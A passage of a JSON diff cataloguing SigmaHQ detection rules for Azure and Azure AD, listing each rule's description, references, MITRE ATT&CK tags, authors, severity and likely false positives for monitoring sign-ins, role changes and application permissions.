established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert on conditional access changes.", + "uuid": "0922467f-db53-4348-b7bf-dee8d0d348c6", + "value": "New CA Policy by Non-approved Actor", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_new_ca_policy_addedby_bad_actor.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1548" + ], + "creation_date": "2022/07/18", + "filename": "azure_aad_secops_new_ca_policy_addedby_bad_actor.yml", + "author": "Corissa Koopmans, '@corissalea'", + "level": "medium", + "falsepositive": [ + "Misconfigured role permissions", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Define a baseline threshold and then monitor and adjust to suit your organizational behaviors and limit false alerts from being generated.", + "uuid": "dff74231-dbed-42ab-ba49-83289be2ac3a", + "value": "Sign-in Failure Bad Password Threshold", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#things-to-monitor", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_signin_failure_bad_password_threshold.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ], + "creation_date": "2022/04/21", + "filename": "azure_aad_secops_signin_failure_bad_password_threshold.yml", + "author": "Corissa Koopmans, '@corissalea'", + "level": "high", + "falsepositive": [ + "Failed Azure AD Connect Synchronization", + "Service account use with an incorrect password specified", + "Misconfigured systems", + "Vulnerability scanners" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies user account which has been locked because the user tried to sign in too many times with an incorrect user ID or password.", + "uuid": "2b7d6fc0-71ac-4cf7-8ed1-b5788ee5257a", + "value": "Account Lockout", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_account_lockout.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ], + "creation_date": "2021/10/10", + "filename": "azure_account_lockout.yml", + "author": "AlertIQ", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when an account was created and deleted in a short period of time.", + "uuid": "6f583da0-3a90-4566-a4ed-83c09fe18bbf", + "value": "Account Created And Deleted Within A Close Time Frame", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#short-lived-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_account_created_deleted.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/08/11", + "filename": "azure_ad_account_created_deleted.yml", + "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1', Tim Shelton", + "level": "high", + "falsepositive": [ + "Legit administrative action" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detect successful authentications from countries you do not operate out of.", + "uuid": "8c944ecb-6970-4541-8496-be554b8e2846", + "value": "Successful Authentications From Countries You Do Not Operate Out Of", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_authentications_from_countries_you_do_not_operate_out_of.yml" + ], + "tags": [ + "attack.t1078" + ], + "creation_date": "2022/07/28", + "filename": "azure_ad_authentications_from_countries_you_do_not_operate_out_of.yml", + "author": "MikeDuddington, '@dudders1'", + "level": "medium", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when sign-ins increased by 10% or greater.", + "uuid": "e1d02b53-c03c-4948-b11d-4d00cca49d03", + "value": "Increased Failed Authentications Of Any Type", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-for-failed-unusual-sign-ins", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_auth_failure_increase.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/08/11", + "filename": "azure_ad_auth_failure_increase.yml", + "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1'", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when successful sign-ins increased by 10% or greater.", + "uuid": "67d5f8fc-8325-44e4-8f5f-7c0ac07cb5ae", + "value": "Measurable Increase Of Successful Authentications", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-for-successful-unusual-sign-ins", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_auth_sucess_increase.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/08/11", + "filename": "azure_ad_auth_sucess_increase.yml", + "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1', Tim Shelton", + "level": "low", + "falsepositive": [ + "Increase of users in the environment" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detect when authentications to important application(s) only required single-factor authentication", + "uuid": "f272fb46-25f2-422c-b667-45837994980f", + "value": "Authentications To Important Apps Using Single Factor Authentication", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_auth_to_important_apps_using_single_factor_auth.yml" + ], + "tags": [ + "attack.t1078" + ], + "creation_date": "2022/07/28", + "filename": "azure_ad_auth_to_important_apps_using_single_factor_auth.yml", + "author": "MikeDuddington, '@dudders1'", + "level": "medium", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert for Bitlocker key retrieval.", + "uuid": "a0413867-daf3-43dd-9245-734b3a787942", + "value": "Bitlocker Key Retrieval", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#bitlocker-key-retrieval", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_bitlocker_key_retrieval.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/06/28", + "filename": "azure_ad_bitlocker_key_retrieval.yml", + "author": "Michael Epping, '@mepples21'", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert for device registration or join events where MFA was not performed.", + "uuid": "5afa454e-030c-4ab4-9253-a90aa7fcc581", + "value": "Device Registration or Join Without MFA", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-registrations-and-joins-outside-policy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_device_registration_or_join_without_mfa.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/06/28", + "filename": "azure_ad_device_registration_or_join_without_mfa.yml", + "author": "Michael Epping, '@mepples21'", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert for changes to the device registration policy.", + "uuid": "9494bff8-959f-4440-bbce-fb87a208d517", + "value": "Changes to Device Registration Policy", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-registrations-and-joins-outside-policy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_device_registration_policy_changes.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1484" + ], + "creation_date": "2022/06/28", + "filename": "azure_ad_device_registration_policy_changes.yml", + "author": "Michael Epping, '@mepples21'", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detect failed authentications from countries you do not operate out of.", + "uuid": "28870ae4-6a13-4616-bd1a-235a7fad7458", + "value": "Failed Authentications From Countries You Do Not Operate Out Of", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_failed_auth_from_countries_you_do_not_operate_out_of.yml" + ], + "tags": [ + "attack.t1078" + ], + "creation_date": "2022/07/28", + "filename": "azure_ad_failed_auth_from_countries_you_do_not_operate_out_of.yml", + "author": "MikeDuddington, '@dudders1'", + "level": "low", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects guest users being invited to tenant by non-approved inviters", + "uuid": "4ad97bf5-a514-41a4-abd3-4f3455ad4865", + "value": "Guest Users Invited To Tenant By Non Approved Inviters", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_guest_users_invited_to_tenant_by_non_approved_inviters.yml" + ], + "tags": [ + "attack.t1078" + ], + "creation_date": "2022/07/28", + "filename": "azure_ad_guest_users_invited_to_tenant_by_non_approved_inviters.yml", + "author": "MikeDuddington, '@dudders1'", + "level": "medium", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detect when users are authenticating without MFA being required.", + "uuid": "28eea407-28d7-4e42-b0be-575d5ba60b2c", + "value": "Azure AD Only Single Factor Authentication Required", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_only_single_factor_auth_required.yml" + ], + "tags": [ + "attack.t1078" + ], + "creation_date": "2022/07/27", + "filename": "azure_ad_only_single_factor_auth_required.yml", + "author": "MikeDuddington, '@dudders1'", + "level": "low", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert for sign-ins where the device was non-compliant.", + "uuid": "4f77e1d7-3982-4ee0-8489-abf2d6b75284", + "value": "Sign-ins from Non-Compliant Devices", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#non-compliant-device-sign-in", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_sign_ins_from_noncompliant_devices.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/06/28", + "filename": "azure_ad_sign_ins_from_noncompliant_devices.yml", + "author": "Michael Epping, '@mepples21'", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert for Sign-ins by unknown devices from non-Trusted locations.", + "uuid": "4d136857-6a1a-432a-82fc-5dd497ee5e7c", + "value": "Sign-ins by Unknown Devices", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#non-compliant-device-sign-in", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_sign_ins_from_unknown_devices.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/06/28", + "filename": "azure_ad_sign_ins_from_unknown_devices.yml", + "author": "Michael Epping, '@mepples21'", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert for users added to device admin roles.", + "uuid": "11c767ae-500b-423b-bae3-b234450736ed", + "value": "Users Added to Global or Device Admin Roles", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-administrator-roles", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_users_added_to_device_admin_roles.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/06/28", + "filename": "azure_ad_users_added_to_device_admin_roles.yml", + "author": "Michael Epping, '@mepples21'", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "User Added to an Administrator's Azure AD Role", + "uuid": "ebbeb024-5b1d-4e16-9c0c-917f86c708a7", + "value": "User Added to an Administrator's Azure AD Role", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1098/003/", + "https://m365internals.com/2021/07/13/what-ive-learned-from-doing-a-year-of-cloud-forensics-in-azure-ad/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_user_added_to_admin_role.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098.003" + ], + "creation_date": "2021/10/04", + "filename": "azure_ad_user_added_to_admin_role.yml", + "author": "Rapha\u00ebl CALVET, @MetallicHack", + "level": "medium", + "falsepositive": [ + "PIM (Privileged Identity Management) generates this event each time 'eligible role' is enabled." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a application is deleted in Azure.", + "uuid": "410d2a41-1e6d-452f-85e5-abdd8257a823", + "value": "Azure Application Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_deleted.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2021/09/03", + "filename": "azure_application_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Application being deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Application deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a application gateway is modified or deleted.", + "uuid": "ad87d14e-7599-4633-ba81-aeb60cfe8cd6", + "value": "Azure Application Gateway Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_gateway_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/16", + "filename": "azure_application_gateway_modified_or_deleted.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Application gateway being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Application gateway modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a application security group is modified or deleted.", + "uuid": "835747f1-9329-40b5-9cc3-97d465754ce6", + "value": "Azure Application Security Group Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_security_group_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/16", + "filename": "azure_application_security_group_modified_or_deleted.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Application security group being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Application security group modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a configuration change is made to an applications AppID URI.", + "uuid": "1b45b0d1-773f-4f23-aedc-814b759563b1", + "value": "Application AppID Uri Configuration Changes", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#appid-uri-added-modified-or-removed", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_appid_uri_changes.yml" + ], + "tags": [ + "attack.t1528", + "attack.persistence", + "attack.credential_access" + ], + "creation_date": "2022/06/02", + "filename": "azure_app_appid_uri_changes.yml", + "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", + "level": "high", + "falsepositive": [ + "When and administrator is making legitimate AppID URI configuration changes to an application. This should be a planned event." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a new credential is added to an existing application. Any additional credentials added outside of expected processes could be a malicious actor using those credentials.", + "uuid": "cbb67ecc-fb70-4467-9350-c910bdf7c628", + "value": "Added Credentials to Existing Application", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-credentials", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_credential_added.yml" + ], + "tags": [ + "attack.t1098", + "attack.persistence" + ], + "creation_date": "2022/05/26", + "filename": "azure_app_credential_added.yml", + "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", + "level": "high", + "falsepositive": [ + "When credentials are added/removed as part of the normal working hours/workflows" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a application credential is modified.", + "uuid": "cdeef967-f9a1-4375-90ee-6978c5f23974", + "value": "Azure Application Credential Modified", + "meta": { + "refs": [ + "https://www.cloud-architekt.net/auditing-of-msi-and-service-principals/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_credential_modification.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/02", + "filename": "azure_app_credential_modification.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Application credential added may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Application credential added from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when highly privileged delegated permissions are granted on behalf of all users", + "uuid": "a6355fbe-f36f-45d8-8efc-ab42465cbc52", + "value": "Delegated Permissions Granted For All Users", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_delegated_permissions_all_users.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2022/07/28", + "filename": "azure_app_delegated_permissions_all_users.yml", + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "level": "high", + "falsepositive": [ + "When the permission is legitimately needed for the app" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments.\nIf this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted.\nThis can be a misconfigured application or potentially something malicious.\n", + "uuid": "248649b7-d64f-46f0-9fb2-a52774166fb5", + "value": "Application Using Device Code Authentication Flow", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-authentication-flows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_device_code_authentication.yml" + ], + "tags": [ + "attack.t1078", + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.initial_access" + ], + "creation_date": "2022/06/01", + "filename": "azure_app_device_code_authentication.yml", + "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", + "level": "medium", + "falsepositive": [ + "Applications that are input constrained will need to use device code flow and are valid authentications." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when an end user consents to an application", + "uuid": "9b2cc4c4-2ad4-416d-8e8e-ee6aa6f5035a", + "value": "End User Consent", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#end-user-consent", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_end_user_consent.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2022/07/28", + "filename": "azure_app_end_user_consent.yml", + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when end user consent is blocked due to risk-based consent.", + "uuid": "7091372f-623c-4293-bc37-20c32b3492be", + "value": "End User Consent Blocked", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#end-user-stopped-due-to-risk-based-consent", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_end_user_consent_blocked.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2022/07/10", + "filename": "azure_app_end_user_consent_blocked.yml", + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a new owner is added to an application. This gives that account privileges to make modifications and configuration changes to the application.", + "uuid": "74298991-9fc4-460e-a92e-511aa60baec1", + "value": "Added Owner To Application", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#new-owner", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_owner_added.yml" + ], + "tags": [ + "attack.t1528", + "attack.persistence", + "attack.credential_access", + "attack.defense_evasion" + ], + "creation_date": "2022/06/02", + "filename": "azure_app_owner_added.yml", + "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", + "level": "medium", + "falsepositive": [ + "When a new application owner is added by an administrator" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when app permissions (app roles) for other APIs are granted", + "uuid": "ba2a7c80-027b-460f-92e2-57d113897dbc", + "value": "App Permissions Granted For Other APIs", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_permissions_for_api.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2022/07/28", + "filename": "azure_app_permissions_for_api.yml", + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "level": "medium", + "falsepositive": [ + "When the permission is legitimately needed for the app" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when an application is granted delegated or app role permissions for Microsoft Graph, Exchange, Sharepoint, or Azure AD", + "uuid": "c1d147ae-a951-48e5-8b41-dcd0170c7213", + "value": "App Granted Microsoft Permissions", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_permissions_msft.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2022/07/10", + "filename": "azure_app_permissions_msft.yml", + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "level": "high", + "falsepositive": [ + "When the permission is legitimately needed for the app" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when administrator grants either application permissions (app roles) or highly privileged delegated permissions", + "uuid": "5aecf3d5-f8a0-48e7-99be-3a759df7358f", + "value": "App Granted Privileged Delegated Or App Permissions", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_privileged_permissions.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2022/07/28", + "filename": "azure_app_privileged_permissions.yml", + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "level": "high", + "falsepositive": [ + "When the permission is legitimately needed for the app" + ], + "logsource.category": "No established category", + "logsource.product": "microsoft365portal" + } + }, + { + "description": "Detects when an app is assigned Azure AD roles, such as global adminsitrator, or Azure RBAC roles, such as subscription owner.", + "uuid": "b04934b2-0a68-4845-8a19-bdfed3a68a7a", + "value": "App Role Added", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#service-principal-assigned-to-a-role", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_role_added.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/19", + "filename": "azure_app_role_added.yml", + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "level": "medium", + "falsepositive": [ + "When the permission is legitimately needed for the app" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Resource owner password credentials (ROPC) should be avoided if at all possible as this requires the user to expose their current password credentials to the application directly.\nThe application then uses those credentials to authenticate the user against the identity provider.\n", + "uuid": "55695bc0-c8cf-461f-a379-2535f563c854", + "value": "Applications That Are Using ROPC Authentication Flow", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-authentication-flows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_ropc_authentication.yml" + ], + "tags": [ + "attack.t1078", + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.initial_access" + ], + "creation_date": "2022/06/01", + "filename": "azure_app_ropc_authentication.yml", + "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", + "level": "medium", + "falsepositive": [ + "Applications that are being used as part of automated testing or a legacy application that cannot use any other modern authentication flow" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a configuration change is made to an applications URI.\nURIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated.\n", + "uuid": "0055ad1f-be85-4798-83cf-a6da17c993b3", + "value": "Application URI Configuration Changes", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-configuration-changes", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_uri_modifications.yml" + ], + "tags": [ + "attack.t1528", + "attack.persistence", + "attack.credential_access" + ], + "creation_date": "2022/06/02", + "filename": "azure_app_uri_modifications.yml", + "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", + "level": "high", + "falsepositive": [ + "When and administrator is making legitimate URI configuration changes to an application. This should be a planned event." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when an account is disabled or blocked for sign in but tried to log in", + "uuid": "4afac85c-224a-4dd7-b1af-8da40e1c60bd", + "value": "Account Disabled or Blocked for Sign in Attempts", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_blocked_account_attempt.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ], + "creation_date": "2022/06/17", + "filename": "azure_blocked_account_attempt.yml", + "author": "Yochana Henderson, '@Yochana-H'", + "level": "medium", + "falsepositive": [ + "Account disabled or blocked in error", + "Automation account has been blocked or disabled" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Change to authentication method could be an indicated of an attacker adding an auth method to the account so they can have continued access.", + "uuid": "4d78a000-ab52-4564-88a5-7ab5242b20c7", + "value": "Change to Authentication Method", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_change_to_authentication_method.yml" + ], + "tags": [ + "attack.credential_access" + ], + "creation_date": "2021/10/10", + "filename": "azure_change_to_authentication_method.yml", + "author": "AlertIQ", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Define a baseline threshold for failed sign-ins due to Conditional Access failures", + "uuid": "b4a6d707-9430-4f5f-af68-0337f52d5c42", + "value": "Sign-in Failure Due to Conditional Access Requirements Not Met", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_conditional_access_failure.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ], + "creation_date": "2022/06/01", + "filename": "azure_conditional_access_failure.yml", + "author": "Yochana Henderson, '@Yochana-H'", + "level": "high", + "falsepositive": [ + "Service Account misconfigured", + "Misconfigured Systems", + "Vulnerability Scanners" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a Container Registry is created or deleted.", + "uuid": "93e0ef48-37c8-49ed-a02c-038aab23628e", + "value": "Azure Container Registry Created or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + 